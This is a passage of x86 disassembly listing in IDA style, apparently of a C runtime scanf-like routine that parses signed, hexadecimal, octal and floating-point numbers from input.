loc_42532B:				; CODE XREF: sub_424CA0+675j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jz	loc_425432
		mov	ecx, [ebp+var_1D8]
		sar	ecx, 3
		movsx	edx, [ebp+ecx+var_60]
		movsx	eax, [ebp+var_10]
		xor	edx, eax
		mov	ecx, [ebp+var_1D8]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		and	edx, eax
		test	edx, edx
		jz	loc_425432
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	loc_425421
		movsx	edx, [ebp+var_64]
		test	edx, edx
		jz	short loc_42540B
		mov	al, byte ptr [ebp+var_1D8]
		mov	[ebp+var_1F0], al
		mov	ecx, [ebp+var_1D8]
		and	ecx, 0FFh
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_4253DD
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1EF], al


loc_4253DD:				; CODE XREF: sub_424CA0+720j
		mov	eax, dword_4516A8
		push	eax
		lea	ecx, [ebp+var_1F0]
		push	ecx
		lea	edx, [ebp+var_4]
		push	edx
		call	sub_42CA90
		add	esp, 0Ch
		mov	eax, [ebp+var_3C]
		mov	cx, [ebp+var_4]
		mov	[eax], cx
		mov	edx, [ebp+var_3C]
		add	edx, 2
		mov	[ebp+var_3C], edx
		jmp	short loc_42541F
; ---------------------------------------------------------------------------


loc_42540B:				; CODE XREF: sub_424CA0+6F3j
		mov	eax, [ebp+var_3C]
		mov	cl, byte ptr [ebp+var_1D8]
		mov	[eax], cl
		mov	edx, [ebp+var_3C]
		add	edx, 1
		mov	[ebp+var_3C], edx


loc_42541F:				; CODE XREF: sub_424CA0+769j
		jmp	short loc_425430
; ---------------------------------------------------------------------------


loc_425421:				; CODE XREF: sub_424CA0+6E7j
		mov	eax, [ebp+var_1E4]
		add	eax, 1
		mov	[ebp+var_1E4], eax


loc_425430:				; CODE XREF: sub_424CA0:loc_42541Fj
		jmp	short loc_425450
; ---------------------------------------------------------------------------


loc_425432:				; CODE XREF: sub_424CA0+6ADj
					; sub_424CA0+6DBj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_426140
		add	esp, 8
		jmp	short loc_425455
; ---------------------------------------------------------------------------


loc_425450:				; CODE XREF: sub_424CA0:loc_425430j
		jmp	loc_42530E
; ---------------------------------------------------------------------------


loc_425455:				; CODE XREF: sub_424CA0+685j
					; sub_424CA0+7AEj
		mov	ecx, [ebp+var_1E4]
		cmp	ecx, [ebp+var_3C]
		jz	short loc_425491
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_42548F
		mov	eax, [ebp+var_34]
		add	eax, 1
		mov	[ebp+var_34], eax
		cmp	[ebp+var_C], 63h
		jz	short loc_42548F
		movsx	ecx, [ebp+var_64]
		test	ecx, ecx
		jz	short loc_425489
		mov	edx, [ebp+var_3C]
		mov	word ptr [edx],	0
		jmp	short loc_42548F
; ---------------------------------------------------------------------------


loc_425489:				; CODE XREF: sub_424CA0+7DDj
		mov	eax, [ebp+var_3C]
		mov	byte ptr [eax],	0


loc_42548F:				; CODE XREF: sub_424CA0+7C6j
					; sub_424CA0+7D5j ...
		jmp	short loc_425496
; ---------------------------------------------------------------------------


loc_425491:				; CODE XREF: sub_424CA0+7BEj
		jmp	loc_425F8A
; ---------------------------------------------------------------------------


loc_425496:				; CODE XREF: sub_424CA0:loc_42548Fj
		jmp	loc_425E34
; ---------------------------------------------------------------------------


loc_42549B:				; CODE XREF: sub_424CA0+3C4j
					; DATA XREF: .nsp0:00426042o
		mov	[ebp+var_C], 64h


loc_4254A2:				; CODE XREF: sub_424CA0+3C4j
					; DATA XREF: .nsp0:00426052o
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_4254B6
		mov	cl, [ebp+var_68]
		add	cl, 1
		mov	[ebp+var_68], cl
		jmp	short loc_4254BF
; ---------------------------------------------------------------------------


loc_4254B6:				; CODE XREF: sub_424CA0+809j
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_4254FC


loc_4254BF:				; CODE XREF: sub_424CA0+814j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_4254E1
		cmp	[ebp+var_1E8], 0
		jz	short loc_4254E1
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al
		jmp	short loc_4254FC
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_424CA0+82Cj
					; sub_424CA0+835j
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_4254FC:				; CODE XREF: sub_424CA0+81Dj
					; sub_424CA0+83Fj
		cmp	[ebp+var_1D8], 30h
		jnz	loc_42559E
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		movsx	edx, byte ptr [ebp+var_1D8]
		cmp	edx, 78h
		jz	short loc_42553C
		movsx	eax, byte ptr [ebp+var_1D8]
		cmp	eax, 58h
		jnz	short loc_425560


loc_42553C:				; CODE XREF: sub_424CA0+88Ej
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	[ebp+var_C], 78h
		jmp	short loc_42559E
; ---------------------------------------------------------------------------


loc_425560:				; CODE XREF: sub_424CA0+89Aj
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_C], 78h
		jz	short loc_425578
		mov	[ebp+var_C], 6Fh
		jmp	short loc_42559E
; ---------------------------------------------------------------------------


loc_425578:				; CODE XREF: sub_424CA0+8CDj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_426140
		add	esp, 8
		mov	[ebp+var_1D8], 30h


loc_42559E:				; CODE XREF: sub_424CA0+863j
					; sub_424CA0+8BEj ...
		jmp	short loc_4255FE
; ---------------------------------------------------------------------------


loc_4255A0:				; CODE XREF: sub_424CA0+3C4j
					; DATA XREF: .nsp0:0042604Ao
		mov	[ebp+var_38], 1


loc_4255A4:				; CODE XREF: sub_424CA0+3C4j
					; DATA XREF: .nsp0:0042603Ao
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_4255B8
		mov	cl, [ebp+var_68]
		add	cl, 1
		mov	[ebp+var_68], cl
		jmp	short loc_4255C1
; ---------------------------------------------------------------------------


loc_4255B8:				; CODE XREF: sub_424CA0+90Bj
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_4255FE


loc_4255C1:				; CODE XREF: sub_424CA0+916j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_4255E3
		cmp	[ebp+var_1E8], 0
		jz	short loc_4255E3
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al
		jmp	short loc_4255FE
; ---------------------------------------------------------------------------


loc_4255E3:				; CODE XREF: sub_424CA0+92Ej
					; sub_424CA0+937j
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_4255FE:				; CODE XREF: sub_424CA0:loc_42559Ej
					; sub_424CA0+91Fj ...
		cmp	[ebp+var_1DC], 0
		jz	loc_4257F9


loc_42560B:				; CODE XREF: sub_424CA0:loc_4257D4j
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	loc_4257D9
		cmp	[ebp+var_C], 78h
		jnz	loc_4256A6
		cmp	dword_4516A8, 1
		jle	short loc_425646
		push	80h
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_208], eax
		jmp	short loc_425663
; ---------------------------------------------------------------------------


loc_425646:				; CODE XREF: sub_424CA0+988j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 80h
		mov	[ebp+var_208], ecx


loc_425663:				; CODE XREF: sub_424CA0+9A4j
		cmp	[ebp+var_208], 0
		jz	short loc_425699
		mov	ecx, 4
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_42CC70
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_426080
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	short loc_4256A1
; ---------------------------------------------------------------------------


loc_425699:				; CODE XREF: sub_424CA0+9CAj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_4256A1:				; CODE XREF: sub_424CA0+9F7j
		jmp	loc_42574D
; ---------------------------------------------------------------------------


loc_4256A6:				; CODE XREF: sub_424CA0+97Bj
		cmp	dword_4516A8, 1
		jle	short loc_4256C8
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_20C], eax
		jmp	short loc_4256E2
; ---------------------------------------------------------------------------


loc_4256C8:				; CODE XREF: sub_424CA0+A0Dj
		mov	edx, [ebp+var_1D8]
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_20C], ecx


loc_4256E2:				; CODE XREF: sub_424CA0+A26j
		cmp	[ebp+var_20C], 0
		jz	short loc_425745
		cmp	[ebp+var_C], 6Fh
		jnz	short loc_42571D
		cmp	[ebp+var_1D8], 38h
		jge	short loc_425712
		mov	ecx, 3
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_42CC70
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		jmp	short loc_42571B
; ---------------------------------------------------------------------------


loc_425712:				; CODE XREF: sub_424CA0+A58j
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl


loc_42571B:				; CODE XREF: sub_424CA0+A70j
		jmp	short loc_425743
; ---------------------------------------------------------------------------


loc_42571D:				; CODE XREF: sub_424CA0+A4Fj
		mov	ecx, 2
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_42CC70
		add	eax, [ebp+var_30]
		adc	edx, [ebp+var_2C]
		mov	ecx, 1
		call	sub_42CC70
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx


loc_425743:				; CODE XREF: sub_424CA0:loc_42571Bj
		jmp	short loc_42574D
; ---------------------------------------------------------------------------


loc_425745:				; CODE XREF: sub_424CA0+A49j
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_42574D:				; CODE XREF: sub_424CA0:loc_4256A1j
					; sub_424CA0:loc_425743j
		movsx	ecx, [ebp+var_18]
		test	ecx, ecx
		jnz	short loc_4257B8
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx
		mov	eax, [ebp+var_1D8]
		sub	eax, 30h
		cdq
		mov	ecx, [ebp+var_30]
		add	ecx, eax
		mov	eax, [ebp+var_2C]
		adc	eax, edx
		mov	[ebp+var_30], ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_1E8], 0
		jz	short loc_42579B
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42579B
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl
		jmp	short loc_4257B6
; ---------------------------------------------------------------------------


loc_42579B:				; CODE XREF: sub_424CA0+ADFj
					; sub_424CA0+AEEj
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_4257B6:				; CODE XREF: sub_424CA0+AF9j
		jmp	short loc_4257D4
; ---------------------------------------------------------------------------


loc_4257B8:				; CODE XREF: sub_424CA0+AB3j
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_426140
		add	esp, 8


loc_4257D4:				; CODE XREF: sub_424CA0:loc_4257B6j
		jmp	loc_42560B
; ---------------------------------------------------------------------------


loc_4257D9:				; CODE XREF: sub_424CA0+971j
		movsx	edx, [ebp+var_68]
		test	edx, edx
		jz	short loc_4257F4
		mov	eax, [ebp+var_30]
		neg	eax
		mov	ecx, [ebp+var_2C]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], ecx


loc_4257F4:				; CODE XREF: sub_424CA0+B3Fj
		jmp	loc_42599D
; ---------------------------------------------------------------------------


loc_4257F9:				; CODE XREF: sub_424CA0+965j
					; sub_424CA0:loc_425988j
		movsx	edx, [ebp+var_18]
		test	edx, edx
		jnz	loc_42598D
		cmp	[ebp+var_C], 78h
		jz	short loc_425811
		cmp	[ebp+var_C], 70h
		jnz	short loc_425889


loc_425811:				; CODE XREF: sub_424CA0+B69j
		cmp	dword_4516A8, 1
		jle	short loc_425836
		push	80h
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_210], eax
		jmp	short loc_425853
; ---------------------------------------------------------------------------


loc_425836:				; CODE XREF: sub_424CA0+B78j
		mov	ecx, [ebp+var_1D8]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 80h
		mov	[ebp+var_210], eax


loc_425853:				; CODE XREF: sub_424CA0+B94j
		cmp	[ebp+var_210], 0
		jz	short loc_42587C
		mov	ecx, [ebp+var_40]
		shl	ecx, 4
		mov	[ebp+var_40], ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_426080
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	short loc_425884
; ---------------------------------------------------------------------------


loc_42587C:				; CODE XREF: sub_424CA0+BBAj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_425884:				; CODE XREF: sub_424CA0+BDAj
		jmp	loc_42590B
; ---------------------------------------------------------------------------


loc_425889:				; CODE XREF: sub_424CA0+B6Fj
		cmp	dword_4516A8, 1
		jle	short loc_4258AB
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_214], eax
		jmp	short loc_4258C5
; ---------------------------------------------------------------------------


loc_4258AB:				; CODE XREF: sub_424CA0+BF0j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_214], ecx


loc_4258C5:				; CODE XREF: sub_424CA0+C09j
		cmp	[ebp+var_214], 0
		jz	short loc_425902
		cmp	[ebp+var_C], 6Fh
		jnz	short loc_4258F2
		cmp	[ebp+var_1D8], 38h
		jge	short loc_4258E8
		mov	edx, [ebp+var_40]
		shl	edx, 3
		mov	[ebp+var_40], edx
		jmp	short loc_4258F0
; ---------------------------------------------------------------------------


loc_4258E8:				; CODE XREF: sub_424CA0+C3Bj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_4258F0:				; CODE XREF: sub_424CA0+C46j
		jmp	short loc_425900
; ---------------------------------------------------------------------------


loc_4258F2:				; CODE XREF: sub_424CA0+C32j
		mov	ecx, [ebp+var_40]
		mov	edx, [ebp+var_40]
		lea	eax, [edx+ecx*4]
		shl	eax, 1
		mov	[ebp+var_40], eax


loc_425900:				; CODE XREF: sub_424CA0:loc_4258F0j
		jmp	short loc_42590B
; ---------------------------------------------------------------------------


loc_425902:				; CODE XREF: sub_424CA0+C2Cj
		mov	cl, [ebp+var_18]
		add	cl, 1
		mov	[ebp+var_18], cl


loc_42590B:				; CODE XREF: sub_424CA0:loc_425884j
					; sub_424CA0:loc_425900j
		movsx	edx, [ebp+var_18]
		test	edx, edx
		jnz	short loc_42596C
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		mov	ecx, [ebp+var_1D8]
		mov	edx, [ebp+var_40]
		lea	eax, [edx+ecx-30h]
		mov	[ebp+var_40], eax
		cmp	[ebp+var_1E8], 0
		jz	short loc_42594F
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42594F
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl
		jmp	short loc_42596A
; ---------------------------------------------------------------------------


loc_42594F:				; CODE XREF: sub_424CA0+C93j
					; sub_424CA0+CA2j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42596A:				; CODE XREF: sub_424CA0+CADj
		jmp	short loc_425988
; ---------------------------------------------------------------------------


loc_42596C:				; CODE XREF: sub_424CA0+C71j
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_426140
		add	esp, 8


loc_425988:				; CODE XREF: sub_424CA0:loc_42596Aj
		jmp	loc_4257F9
; ---------------------------------------------------------------------------


loc_42598D:				; CODE XREF: sub_424CA0+B5Fj
		movsx	edx, [ebp+var_68]
		test	edx, edx
		jz	short loc_42599D
		mov	eax, [ebp+var_40]
		neg	eax
		mov	[ebp+var_40], eax


loc_42599D:				; CODE XREF: sub_424CA0:loc_4257F4j
					; sub_424CA0+CF3j
		cmp	[ebp+var_C], 46h
		jnz	short loc_4259AA
		mov	[ebp+var_6C], 0


loc_4259AA:				; CODE XREF: sub_424CA0+D01j
		cmp	[ebp+var_6C], 0
		jz	short loc_4259F8
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	short loc_4259F6
		mov	edx, [ebp+var_34]
		add	edx, 1
		mov	[ebp+var_34], edx


loc_4259C1:				; CODE XREF: sub_424CA0+D70j
		cmp	[ebp+var_1DC], 0
		jz	short loc_4259DA
		mov	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_30]
		mov	[eax], ecx
		mov	edx, [ebp+var_2C]
		mov	[eax+4], edx
		jmp	short loc_4259F6
; ---------------------------------------------------------------------------


loc_4259DA:				; CODE XREF: sub_424CA0+D28j
		movsx	eax, [ebp+var_38]
		test	eax, eax
		jz	short loc_4259EC
		mov	ecx, [ebp+var_3C]
		mov	edx, [ebp+var_40]
		mov	[ecx], edx
		jmp	short loc_4259F6
; ---------------------------------------------------------------------------


loc_4259EC:				; CODE XREF: sub_424CA0+D40j
		mov	eax, [ebp+var_3C]
		mov	cx, word ptr [ebp+var_40]
		mov	[eax], cx


loc_4259F6:				; CODE XREF: sub_424CA0+D16j
					; sub_424CA0+D38j ...
		jmp	short loc_4259FD
; ---------------------------------------------------------------------------


loc_4259F8:				; CODE XREF: sub_424CA0+D0Ej
		jmp	loc_425F8A
; ---------------------------------------------------------------------------


loc_4259FD:				; CODE XREF: sub_424CA0:loc_4259F6j
		jmp	loc_425E34
; ---------------------------------------------------------------------------


loc_425A02:				; CODE XREF: sub_424CA0+3C4j
					; DATA XREF: .nsp0:00426046o
		mov	edx, [ebp+var_20]
		mov	[ebp+var_40], edx
		movsx	eax, [ebp+var_70]
		test	eax, eax
		jnz	short loc_425A12
		jmp	short loc_4259C1
; ---------------------------------------------------------------------------


loc_425A12:				; CODE XREF: sub_424CA0+D6Ej
		jmp	loc_425E34
; ---------------------------------------------------------------------------


loc_425A17:				; CODE XREF: sub_424CA0+3C4j
					; DATA XREF: .nsp0:0042603Eo
		lea	ecx, [ebp+var_1D0]
		mov	[ebp+var_1E0], ecx
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_425A46
		mov	edx, [ebp+var_1E0]
		mov	byte ptr [edx],	2Dh
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax
		jmp	short loc_425A4F
; ---------------------------------------------------------------------------


loc_425A46:				; CODE XREF: sub_424CA0+D8Aj
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_425A73


loc_425A4F:				; CODE XREF: sub_424CA0+DA4j
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_425A73:				; CODE XREF: sub_424CA0+DADj
		cmp	[ebp+var_1E8], 0
		jz	short loc_425A85
		cmp	[ebp+var_1C], 15Dh
		jle	short loc_425A8C


loc_425A85:				; CODE XREF: sub_424CA0+DDAj
		mov	[ebp+var_1C], 15Dh


loc_425A8C:				; CODE XREF: sub_424CA0+DE3j
					; sub_424CA0+E82j
		cmp	dword_4516A8, 1
		jle	short loc_425AAE
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_218], eax
		jmp	short loc_425AC8
; ---------------------------------------------------------------------------


loc_425AAE:				; CODE XREF: sub_424CA0+DF3j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_218], ecx


loc_425AC8:				; CODE XREF: sub_424CA0+E0Cj
		cmp	[ebp+var_218], 0
		jz	short loc_425B27
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		test	edx, edx
		jz	short loc_425B27
		mov	ecx, [ebp+var_6C]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_1E0]
		mov	al, byte ptr [ebp+var_1D8]
		mov	[edx], al
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_425A8C
; ---------------------------------------------------------------------------


loc_425B27:				; CODE XREF: sub_424CA0+E2Fj
					; sub_424CA0+E3Fj
		movsx	ecx, byte_4516AC
		movsx	edx, byte ptr [ebp+var_1D8]
		cmp	ecx, edx
		jnz	loc_425C24
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	loc_425C24
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	ecx, [ebp+var_1E0]
		mov	dl, byte_4516AC
		mov	[ecx], dl
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax


loc_425B89:				; CODE XREF: sub_424CA0+F7Fj
		cmp	dword_4516A8, 1
		jle	short loc_425BAB
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_21C], eax
		jmp	short loc_425BC5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_424CA0+EF0j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_21C], ecx


loc_425BC5:				; CODE XREF: sub_424CA0+F09j
		cmp	[ebp+var_21C], 0
		jz	short loc_425C24
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		test	edx, edx
		jz	short loc_425C24
		mov	ecx, [ebp+var_6C]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_1E0]
		mov	al, byte ptr [ebp+var_1D8]
		mov	[edx], al
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_425B89
; ---------------------------------------------------------------------------


loc_425C24:				; CODE XREF: sub_424CA0+E97j
					; sub_424CA0+EABj ...
		cmp	[ebp+var_6C], 0
		jz	loc_425D89
		cmp	[ebp+var_1D8], 65h
		jz	short loc_425C44
		cmp	[ebp+var_1D8], 45h
		jnz	loc_425D89


loc_425C44:				; CODE XREF: sub_424CA0+F95j
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		test	ecx, ecx
		jz	loc_425D89
		mov	eax, [ebp+var_1E0]
		mov	byte ptr [eax],	65h
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_425CAE
		mov	ecx, [ebp+var_1E0]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		jmp	short loc_425CB7
; ---------------------------------------------------------------------------


loc_425CAE:				; CODE XREF: sub_424CA0+FF2j
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_425CED


loc_425CB7:				; CODE XREF: sub_424CA0+100Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jnz	short loc_425CD2
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	[ebp+var_1C], edx
		jmp	short loc_425CED
; ---------------------------------------------------------------------------


loc_425CD2:				; CODE XREF: sub_424CA0+1025j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_425CED:				; CODE XREF: sub_424CA0+1015j
					; sub_424CA0+1030j ...
		cmp	dword_4516A8, 1
		jle	short loc_425D0F
		push	4
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_220], eax
		jmp	short loc_425D2A
; ---------------------------------------------------------------------------


loc_425D0F:				; CODE XREF: sub_424CA0+1054j
		mov	eax, [ebp+var_1D8]
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_220], edx


loc_425D2A:				; CODE XREF: sub_424CA0+106Dj
		cmp	[ebp+var_220], 0
		jz	short loc_425D89
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	short loc_425D89
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx
		mov	eax, [ebp+var_1E0]
		mov	cl, byte ptr [ebp+var_1D8]
		mov	[eax], cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_425CED
; ---------------------------------------------------------------------------


loc_425D89:				; CODE XREF: sub_424CA0+F88j
					; sub_424CA0+F9Ej ...
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_426140
		add	esp, 8
		cmp	[ebp+var_6C], 0
		jz	short loc_425DE3
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_425DE1
		mov	eax, [ebp+var_34]
		add	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_1E0]
		mov	byte ptr [ecx],	0
		lea	edx, [ebp+var_1D0]
		push	edx
		mov	eax, [ebp+var_3C]
		push	eax
		movsx	ecx, [ebp+var_38]
		sub	ecx, 1
		push	ecx
